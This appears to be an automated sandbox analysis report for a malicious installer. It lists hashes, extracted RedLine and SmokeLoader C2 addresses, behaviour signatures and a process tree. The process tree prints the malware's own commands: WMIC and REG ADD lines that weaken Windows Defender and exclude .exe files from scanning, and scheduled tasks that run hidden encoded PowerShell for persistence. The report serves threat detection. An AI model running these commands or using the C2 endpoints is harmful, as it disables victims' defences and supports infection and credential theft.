Analysis
-
max time kernel
1811s -
max time network
1815s -
platform
windows11_x64 -
resource
win11 -
submitted
14-09-2021 05:16
General
-
Target
setup_x86_x64_install.exe
-
Size
6.2MB
-
MD5
7419b76a053b660459e1edcf1dfef302
-
SHA1
43cab9f90509553f67eaed5b7321e358227cbe4f
-
SHA256
941478d129063e71885f97791339a49c58c72991ccc8309734f12ef60aee5530
-
SHA512
4997537c3ac3eebd9f5c6289ff971a84e3cb19cd9e62049e0b92f6fe3ef7c8c98dd11e0dea4931968d8305b28a754c0eeb6cc7e08b21f703d188299048e4a93d
Score
10/10
Malware Config
Extracted
Family
redline
Botnet
ANI
C2
45.142.215.47:27643
Extracted
Family
redline
Botnet
139f4t
C2
185.215.113.104:18754
Extracted
Family
metasploit
Version
windows/single_exec
Extracted
Family
smokeloader
Version
2020
C2
http://fazanaharahe1.xyz/
http://xandelissane2.xyz/
http://ustiassosale3.xyz/
http://cytheriata4.xyz/
http://ggiergionard5.xyz/
http://rrelleynaniy6.store/
http://danniemusoa7.store/
http://nastanizab8.store/
http://onyokandis9.store/
http://dmunaavank10.store/
http://gilmandros11.site/
http://cusanthana12.site/
http://willietjeana13.site/
http://ximusokall14.site/
http://blodinetisha15.site/
http://urydiahadyss16.club/
http://glasamaddama17.club/
http://marlingarly18.club/
http://alluvianna19.club/
http://xandirkaniel20.club/
rc4.i32
rc4.i32
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba Payload 1 IoCs
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 5 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 3 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 2 IoCs
-
Suspicious use of NtCreateProcessExOtherParentProcess 37 IoCs
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
rl_trojan 1 IoCs
redline stealer.
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Known Sinkhole Response Header
suricata: ET MALWARE Known Sinkhole Response Header
-
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity M2
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity M2
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
-
ASPack v2.12-2.42 7 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Blocklisted process makes network request 4 IoCs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 2 IoCs
-
Executes dropped EXE 64 IoCs
-
VMProtect packed file 3 IoCs
Detects executables packed with VMProtect commercial packer.
-
Checks BIOS information in registry 2 TTPs 23 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Loads dropped DLL 39 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Themida packer 2 IoCs
Detects Themida, an advanced Windows software protection system.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 5 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 12 IoCs
-
Drops desktop.ini file(s) 2 IoCs
-
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 14 IoCs
-
Suspicious use of SetThreadContext 9 IoCs
-
Drops file in Program Files directory 47 IoCs
-
Drops file in Windows directory 31 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 32 IoCs
-
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
-
Enumerates system info in registry 2 TTPs 64 IoCs
-
Kills process with taskkill 3 IoCs
-
Modifies data under HKEY_USERS 46 IoCs
-
Modifies registry class 5 IoCs
-
Modifies system certificate store 2 TTPs 3 IoCs
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 17 IoCs
-
Suspicious use of SendNotifyMessage 12 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of UnmapMainImage 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue02f29f3c89f511ab1.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue02f29f3c89f511ab1.exeTue02f29f3c89f511ab1.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1188 -s 3006⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue029d9fb624f.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue029d9fb624f.exeTue029d9fb624f.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\3013295.exe"C:\ProgramData\3013295.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5380 -s 23767⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\ProgramData\723566.exe"C:\ProgramData\723566.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\ProgramData\8322849.exe"C:\ProgramData\8322849.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\8322849.exe"C:\ProgramData\8322849.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5928 -s 10767⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5928 -s 10767⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\ProgramData\6318511.exe"C:\ProgramData\6318511.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue02683a155e.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue02683a155e.exeTue02683a155e.exe5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\Documents\3twGUYeaGvRLams6pLWGQUtM.exe"C:\Users\Admin\Documents\3twGUYeaGvRLams6pLWGQUtM.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\pEW4pWkoBUfWqaycRIf46WsT.exe"C:\Users\Admin\Documents\pEW4pWkoBUfWqaycRIf46WsT.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\1qpF0FVyGTnOUE8CUh3mVqAK.exe"C:\Users\Admin\Documents\1qpF0FVyGTnOUE8CUh3mVqAK.exe"6⤵
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"7⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Company\NewProduct\inst001.exe"C:\Program Files (x86)\Company\NewProduct\inst001.exe"7⤵
-
C:\Users\Admin\Documents\DL10etXF0dzxAaNO3U0CrRBf.exe"C:\Users\Admin\Documents\DL10etXF0dzxAaNO3U0CrRBf.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\nQIc38vbWFfa8tmd2S4Yw8Xr.exe"C:\Users\Admin\Documents\nQIc38vbWFfa8tmd2S4Yw8Xr.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\PRzyEMbQaZRAZOvLAev0YzEn.exe"C:\Users\Admin\Documents\PRzyEMbQaZRAZOvLAev0YzEn.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Blocklisted process makes network request
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\IuqOXwJ9TkMlP3_RJHAd4tOh.exe"C:\Users\Admin\Documents\IuqOXwJ9TkMlP3_RJHAd4tOh.exe" /mixtwo8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3760 -s 2849⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Documents\JnKIdt1xnAzxcG6L5nRHW_mq.exe"C:\Users\Admin\Documents\JnKIdt1xnAzxcG6L5nRHW_mq.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4140.tmp\SimplInst.exe.\SimplInst.exe9⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS43C0.tmp\SimplInst.exe.\SimplInst.exe /S /site_id "668658"10⤵
- Checks BIOS information in registry
- Enumerates connected drives
- Drops file in System32 directory
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &11⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True13⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True14⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True15⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True13⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True14⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True15⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True14⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True15⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True14⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True15⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&12⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3213⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6413⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&12⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:3213⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:6413⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gaOJKXEEm" /SC once /ST 17:26:37 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="11⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bDBWsoVwBAvMkkOeMa" /SC once /ST 22:20:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\YIhRuNolBGOHadBpz\nnWxgLQozaxYwkg\VLDwYUO.exe\" rF /site_id 668658 /S" /V1 /F11⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\TilyLyAJC9VJEK7DZQ6c54y9.exe"C:\Users\Admin\Documents\TilyLyAJC9VJEK7DZQ6c54y9.exe"8⤵
-
C:\Users\Admin\Documents\BM1MBb5QIllHamXNAkkVk0ld.exe"C:\Users\Admin\Documents\BM1MBb5QIllHamXNAkkVk0ld.exe"8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2924 -s 3009⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Documents\W72VBLaHTNTywdloG3MXoWO1.exe"C:\Users\Admin\Documents\W72VBLaHTNTywdloG3MXoWO1.exe"8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3796 -s 2929⤵
- Program crash
-
C:\Users\Admin\Documents\8y66_qj1gDTYydv4zm31hYuV.exe"C:\Users\Admin\Documents\8y66_qj1gDTYydv4zm31hYuV.exe"8⤵
-
C:\Users\Admin\Documents\Yl2wge2S3xxjGdmZxsX9QGuG.exe"C:\Users\Admin\Documents\Yl2wge2S3xxjGdmZxsX9QGuG.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-6I2T6.tmp\Yl2wge2S3xxjGdmZxsX9QGuG.tmp"C:\Users\Admin\AppData\Local\Temp\is-6I2T6.tmp\Yl2wge2S3xxjGdmZxsX9QGuG.tmp" /SL5="$70024,506127,422400,C:\Users\Admin\Documents\Yl2wge2S3xxjGdmZxsX9QGuG.exe"9⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-LU496.tmp\el34zAN.exe"C:\Users\Admin\AppData\Local\Temp\is-LU496.tmp\el34zAN.exe" /S /UID=12410⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Users\Admin\AppData\Local\Temp\AMGFJGKBDM\IDownload.exe"C:\Users\Admin\AppData\Local\Temp\AMGFJGKBDM\IDownload.exe" /VERYSILENT11⤵
-
C:\Users\Admin\AppData\Local\Temp\is-3CG3J.tmp\IDownload.tmp"C:\Users\Admin\AppData\Local\Temp\is-3CG3J.tmp\IDownload.tmp" /SL5="$A0216,994212,425984,C:\Users\Admin\AppData\Local\Temp\AMGFJGKBDM\IDownload.exe" /VERYSILENT12⤵
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\IDownload\IDownload.App.exe"C:\Program Files (x86)\IDownload\IDownload.App.exe" -silent -desktopShortcut -programMenu13⤵
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bycgy8oq.cmdline"14⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5EE6.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC5EE5.tmp"15⤵
-
C:\Users\Admin\AppData\Local\Temp\10-3a20e-d40-1ddac-51ae6e1146d53\Gohojuqegae.exe"C:\Users\Admin\AppData\Local\Temp\10-3a20e-d40-1ddac-51ae6e1146d53\Gohojuqegae.exe"11⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e612⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e6d046f8,0x7ff9e6d04708,0x7ff9e6d0471813⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff9e6d046f8,0x7ff9e6d04708,0x7ff9e6d0471813⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=185148312⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e6d046f8,0x7ff9e6d04708,0x7ff9e6d0471813⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=185151312⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e6d046f8,0x7ff9e6d04708,0x7ff9e6d0471813⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://www.directdexchange.com/jump/next.php?r=208721512⤵
-
